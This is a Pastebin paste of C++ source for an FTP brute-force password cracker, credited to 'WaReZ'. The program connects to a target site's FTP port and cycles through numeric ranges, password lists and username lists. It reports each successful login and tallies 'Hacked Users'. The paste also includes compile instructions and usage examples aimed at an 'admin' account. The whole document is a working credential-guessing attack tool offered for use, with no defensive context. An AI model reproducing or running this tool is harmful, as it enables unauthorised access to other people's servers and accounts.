Advertisement
Guest User

Untitled

a guest
May 9th, 2017
312
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 8.16 KB | None | 0 0
  1. /*****
  2. Ftp Cracker
  3. Written By WaReZ  
  4. -----------------
  5.  
  6. Options:
  7.         Single Username - Password list , Range passwords.
  8.         Usernames list - Passwords List , Single password , Range Passwords.
  9.  
  10. Compile:        
  11.         g++ ftp.cpp -o ftp    
  12. *****/
  13.  
  14. #include <iostream>
  15. #include <winsock.h>
  16. #include <fstream>
  17. using namespace std;
  18.  
  19. int ftp_check(string user,string pass,char *site) {
  20.          
  21. sockaddr_in address;
  22.          
  23. size_t userSize = user.length()+1;
  24. size_t passSize = pass.length()+1;
  25. char username[userSize],password[passSize];
  26. ZeroMemory(&username[0],userSize);
  27. ZeroMemory(&password[0],passSize);
  28.          
  29. strncpy(username,user.c_str(),userSize);
  30. strncpy(password,pass.c_str(),passSize);
  31.          
  32. char recv2[256];
  33. ZeroMemory(&recv2,256);
  34.          
  35. hostent *host;
  36. host = gethostbyname(site);
  37.      
  38. int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  39.            
  40. address.sin_family = AF_INET;
  41. address.sin_addr.s_addr = ((in_addr *)host->h_addr)->s_addr;
  42. address.sin_port = htons(21);      
  43.  
  44.  
  45. int c,s,r;
  46. c = connect(sock,(struct sockaddr*)&address,sizeof(address));
  47. r = recv(sock,recv2,sizeof(recv2),0);
  48. s = send(sock,username,strlen(username),0);
  49. r = recv(sock,recv2,sizeof(recv2),0);
  50. s = send(sock,password,sizeof(password),0);
  51. r = recv(sock,recv2,sizeof(recv2),0);
  52.  
  53.  
  54.   if(strstr(recv2,"230"))
  55.   {
  56.      return 230;
  57.   }
  58.          
  59.   if(strstr(recv2,"530"))
  60.   {
  61.      return 530;
  62.   }
  63.                    
  64.   else
  65.   {
  66.      return WSAGetLastError();
  67.   }
  68.  
  69.  
  70. }          
  71.  
  72. int main(int argc,char *argv[])
  73. {
  74.      
  75. cout << "\n#####################################\n"
  76.          "# Ftp Brute Force                   #\n"    
  77.          "# Written By WaReZ                  #\n"
  78.          "#####################################\n\n";
  79.    
  80. WSADATA wsaData;
  81.  
  82. if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
  83. {
  84.   cout << "WSAGetLastError(): " << WSAGetLastError();
  85.   exit(1);
  86. }
  87.  
  88.          
  89. if(argc < 2)
  90. {
  91.   cout << "Usage: " << argv[0] << "\n\n";
  92.   cout << "-user         singal username\n";
  93.   cout << "-ul           usernames list\n";
  94.   cout << "-start        start range\n";
  95.   cout << "-end          end range\n";
  96.   cout << "-pl           passwords list\n";
  97.   cout << "-sp           singal password for users list\n";
  98.   cout << "-site         site that be checked\n\n";
  99.  
  100.   cout << "Example: " << argv[0] << " -site site.com -user admin -start 0 -end 10000\n";
  101.   cout << "         " << argv[0] << " -site site.com -ul users.txt -sp 123456\n";
  102. }
  103.  
  104.          
  105. else
  106. {
  107.   cout <<  "[~] Starting ...\n\n";
  108.   char buffer[256],rcv[256],error[256];  
  109.  
  110.  
  111.   int check = 0;
  112.   int tstart = 0 ,tend = 0;
  113.   int u = 0,start = 0 ,ul = 0,pl = 0,end = 0,spass = 0,check_site = 0,hacked = 0;
  114.   string user,pass,site2,realuser,sinpass,realpass,fileusers,length;
  115.   char passwords[256],site[256] = "",users[256];
  116.   ifstream passlist,userlist;
  117.  
  118.  for(int i = 1 ; i <= argc-1;i++)
  119.  {
  120.              
  121.     if(argv[i+1] != NULL)
  122.     {
  123.            
  124.      if(strstr(argv[i],"-user"))
  125.      {
  126.         realuser = argv[i+1];        
  127.         user = "USER ";
  128.         user += argv[i+1];
  129.         user += "\r\n";
  130.         u = 1;
  131.                    
  132.      }
  133.      
  134.      if(strstr(argv[i],"-start"))
  135.      {
  136.                        
  137.         tstart = atoi(argv[i+1]);
  138.         start = 1;  
  139.              
  140.      }
  141.      
  142.      if(strstr(argv[i],"-end"))
  143.      {
  144.                          
  145.         tend = atoi(argv[i+1]);
  146.         end = 1;                                    
  147.      }
  148.      
  149.      if(strstr(argv[i],"-pl"))
  150.      {
  151.                            
  152.         passlist.open(argv[i+1]);
  153.         pl = 1;
  154.                              
  155.      }
  156.      
  157.      if(strstr(argv[i],"-site"))
  158.      {
  159.                                
  160.        site2 = argv[i+1];
  161.        strncpy(site,site2.c_str(),256);
  162.        check_site = 1;
  163.                                  
  164.      }
  165.      
  166.      if(strstr(argv[i],"-ul"))
  167.      {
  168.         userlist.open(argv[i+1]);
  169.         ul = 1;                  
  170.      }
  171.      
  172.      if(strstr(argv[i],"-sp"))
  173.      {
  174.         sinpass = argv[i+1];
  175.         realpass = argv[i+1];
  176.         spass = 1;                        
  177.      }
  178.      
  179.   }        
  180. }
  181.  
  182.  
  183. if(u == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
  184. {
  185.    for(int p = tstart ; p <= tend; p++)
  186.    {  
  187.          pass = "PASS ";
  188.          pass+=itoa(p,buffer,10);
  189.          pass+= "\r\n";
  190.  
  191.          int b = ftp_check(user,pass,site);
  192.          
  193.          if(b == 230)
  194.          {
  195.              cout << realuser << "::" << p << " - Succeed" << endl;
  196.              break;
  197.          }
  198.          
  199.          else if(b == 530)
  200.          {
  201.              cout << realuser << "::" << p << " - Fail" << endl;
  202.          }
  203.        
  204.          else
  205.          {            
  206.              cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
  207.              break;
  208.          }
  209.                        
  210.    }
  211. }
  212.    
  213. else if(pl == 1 && u == 1 && check_site == 1)
  214. {      
  215.    while(!passlist.eof())
  216.    {                          
  217.       passlist.getline(passwords,50);  
  218.       pass = "PASS ";
  219.       pass+= passwords;
  220.       pass+= "\r\n";
  221.      
  222.       int b = ftp_check(user,pass,site);
  223.        
  224.       if(b == 230)
  225.       {
  226.           cout << realuser << "::" << passwords << " - Succeed" << endl;
  227.           break;
  228.       }
  229.          
  230.       else if(b == 530)
  231.       {
  232.           cout << realuser << "::" << passwords << " - Fail" << endl;
  233.       }
  234.        
  235.       else
  236.       {            
  237.           cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
  238.           break;
  239.       }                        
  240.    
  241.    }
  242. }
  243.  
  244. else if(ul == 1 && pl == 1 && check_site == 1)
  245. {            
  246.    while(!userlist.eof())
  247.    {
  248.       userlist.getline(users,50);
  249.       user = "USER ";
  250.       user+= users;
  251.       user+= "\r\n";                        
  252.  
  253.       while(!passlist.eof())
  254.       {
  255.  
  256.          passlist.getline(passwords,50);  
  257.          pass = "PASS ";
  258.          pass+= passwords;
  259.          pass+= "\r\n";
  260.  
  261.          int b = ftp_check(user,pass,site);
  262.    
  263.        
  264.          if(b == 230)
  265.          {
  266.              cout << users << "::" << passwords << " - Succeed" << endl;
  267.              break;
  268.          }
  269.          
  270.          else if(b == 530)
  271.          {
  272.              cout << users << "::" << passwords << " - Fail" << endl;          
  273.          }
  274.        
  275.          else
  276.          {            
  277.              cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
  278.              break;
  279.          }
  280.          
  281.      }
  282.      
  283.      passlist.seekg(0);    
  284.   }
  285. }
  286.  
  287. else if(spass == 1 && ul == 1 && check_site == 1)
  288. {
  289.    while(!userlist.eof())
  290.    {
  291.       userlist.getline(users,50);
  292.       user = "USER ";
  293.       user+= users;
  294.       user+= "\r\n";  
  295.          
  296.       pass = "PASS ";
  297.       pass+= sinpass;
  298.       pass+= "\r\n";
  299.              
  300.       int b = ftp_check(user,pass,site);
  301.        
  302.       if(b == 230)
  303.       {
  304.           cout << users << "::" << realpass << " - Succeed" << endl;
  305.           fileusers+= users;
  306.           fileusers+= "::";
  307.           fileusers+= realpass;
  308.           fileusers+= "\n";
  309.           hacked+= 1;
  310.       }
  311.          
  312.       else if(b == 530)
  313.       {
  314.           cout << users << "::" << realpass << " - Fail" << endl;          
  315.       }
  316.        
  317.       else
  318.       {            
  319.           cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
  320.           break;
  321.       }
  322.                                          
  323.    }  
  324.      
  325.       if(hacked > 0)
  326.       {        
  327.          cout << "\n\nHacked Users:\n\n";
  328.          cout << fileusers;
  329.          cout << "\n" << hacked << " Users was Hacked\n";
  330.       }
  331.      
  332.       else
  333.       {
  334.          cout << "\n\n0 Users was hacked\n\n";  
  335.       }
  336.        
  337. }  
  338.    
  339. else
  340. {
  341.     if(tstart > tend)
  342.     {
  343.       cout << "Error: Start range bigger then end range.\n";        
  344.     }
  345.    
  346.     else if(strlen(site) < 1 && check_site == 1)
  347.     {
  348.        cout << "Error: You forget to write the site.\n";
  349.     }
  350.    
  351.     else
  352.     {
  353.       cout << "Error: check the arguments , maybe you forget to write something or you have\nmistake in some argument\n";
  354.     }
  355. }      
  356.    
  357. }
  358. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement